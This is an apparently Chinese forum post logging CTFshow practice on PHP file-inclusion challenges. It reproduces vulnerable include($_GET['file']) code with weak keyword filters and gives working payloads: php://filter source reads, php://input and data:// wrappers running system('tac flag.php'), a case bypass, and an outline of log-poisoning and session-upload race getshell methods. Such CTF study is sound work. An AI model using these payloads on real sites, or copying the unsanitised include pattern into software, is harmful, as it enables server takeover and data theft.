IT评测·应用市场-qidao123.com技术社区

标题: 文件包罗(CTFshow 刷题记载)持续更新 [打印本页]

作者: 傲渊山岳    时间: 2025-4-14 21:44
标题: 文件包罗(CTFshow 刷题记载)持续更新
实现过滤功能,是每个代码段进行过滤编写,还是写一个过滤文件
  1. if(isset($_GET['file'])){
  2.     $file = $_GET['file'];
  3.     include($file);
  4. } else {
  5.     highlight_file(__FILE__);
  6. }
复制代码

file:// 用于访问本地文件体系,其格式为
file:// [文件的绝对路径和文件名]
php:// 访问各个输入/输出流(I/O streams),其基本格式为php://filter​和php://input​
php://filter用于读取源码。
我们可以以base64编码的方式读取指定文件的源码:如
  1. ?file=php://filter/read=convert.base64-encode/resource=flag.php
复制代码
php://input用于执行php代码。?file=php://input
post传参 <?php phpinfo(); ?>

例题二





  1. <?php
  2. /*
  3. # -*- coding: utf-8 -*-
  4. # @Author: h1xa
  5. # @Date:   2020-09-16 10:52:43
  6. # @Last Modified by:   h1xa
  7. # @Last Modified time: 2020-09-16 10:54:20
  8. # @email: h1xa@ctfer.com
  9. # @link: https://ctfer.com
  10. */
  11. if(isset($_GET['file'])){
  12.     $file = $_GET['file'];
  13.     include($file);
  14. }else{
  15.     highlight_file(__FILE__);
  16. }
复制代码
想要用这个必须要知道绝对路径,否则如下图


方法一:filter伪协议

  1. ?file=php://filter/read=convert.base64-encode/resource=flag.php
复制代码
方法二:input协议file=php://input

post传参
<?php phpinfo(); ?>

方法三:data协议

​data://​ 协议的格式为 data://[<MIME-type>][;charset=<encoding>][;base64],<data>​,具体填写方式如下:
1. 基本结构


  1. ?file=data://text/plain,<?php system('tac flag.php');?>
复制代码

例题三



  1. if(isset($_GET['file'])){
  2.     $file = $_GET['file'];
  3.     $file = str_replace("php", "???", $file);
  4.     include($file);
  5. }else{
  6.     highlight_file(__FILE__);
  7. }
复制代码
审计源码可知存在巨细写绕过
但是巨细写绕过对input和data协议有用,对filter协议没有用
方法同例题1
  1. ?file=data://text/plain,<?Php system('tac f*');?>
复制代码

例题四


  1. <?php
  2. /*
  3. # -*- coding: utf-8 -*-
  4. # @Author: h1xa
  5. # @Date:   2020-09-16 11:25:09
  6. # @Last Modified by:   h1xa
  7. # @Last Modified time: 2020-09-16 11:26:29
  8. # @email: h1xa@ctfer.com
  9. # @link: https://ctfer.com
  10. */
  11. if(isset($_GET['file'])){
  12.     $file = $_GET['file'];
  13.     $file = str_replace("php", "???", $file);
  14.     $file = str_replace("data", "???", $file);
  15.     include($file);
  16. }else{
  17.     highlight_file(__FILE__);
  18. }
复制代码
对php和data协议进行了绕过,那么我选择input协议

例题五


  1. <?php
  2. /*
  3. # -*- coding: utf-8 -*-
  4. # @Author: h1xa
  5. # @Date:   2020-09-16 11:25:09
  6. # @Last Modified by:   h1xa
  7. # @Last Modified time: 2020-09-16 15:51:31
  8. # @email: h1xa@ctfer.com
  9. # @link: https://ctfer.com
  10. */
  11. if(isset($_GET['file'])){
  12.     $file = $_GET['file'];
  13.     $file = str_replace("php", "???", $file);
  14.     $file = str_replace("data", "???", $file);
  15.     $file = str_replace(":", "???", $file);
  16.     include($file);
  17. }else{
  18.     highlight_file(__FILE__);
  19. }
复制代码
这次多了限制,我们可以使用日记包罗getshell方法

日记文件是服务器用来记载各种操作和访问信息的文件,好比网站服务器会记任命户的访问哀求、泉源地址、使用的浏览器信息等。如果攻击者能够在发送给网站的哀求(好比网址、用户代理信息等)中插入恶意代码,这些代码就会被服务器记载到日记文件中。当服务器后续读取或处理这些日记文件时,如果存在漏洞,恶意代码就可能被当作正常的代码执行,从而实现攻击目的,好比获取服务器的控制权(即“getshell”)。
确定服务器类型

在进行攻击之前,须要先判断目的网站使用的是哪种服务器软件,因为差别的服务器软件日记文件的存放位置和格式可能差别。



详细攻击步骤解析(利用PHP Session上传进度 + 条件竞争)

1. 漏洞背景

题目代码存在文件包罗漏洞,但过滤了php​、data​、:​、.​等关键字符,无法直接包罗恶意文件。需利用PHP的session.upload_progress​机制和条件竞争绕过限制

2. 核心原理





免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 IT评测·应用市场-qidao123.com技术社区 (https://dis.qidao123.com/) Powered by Discuz! X3.4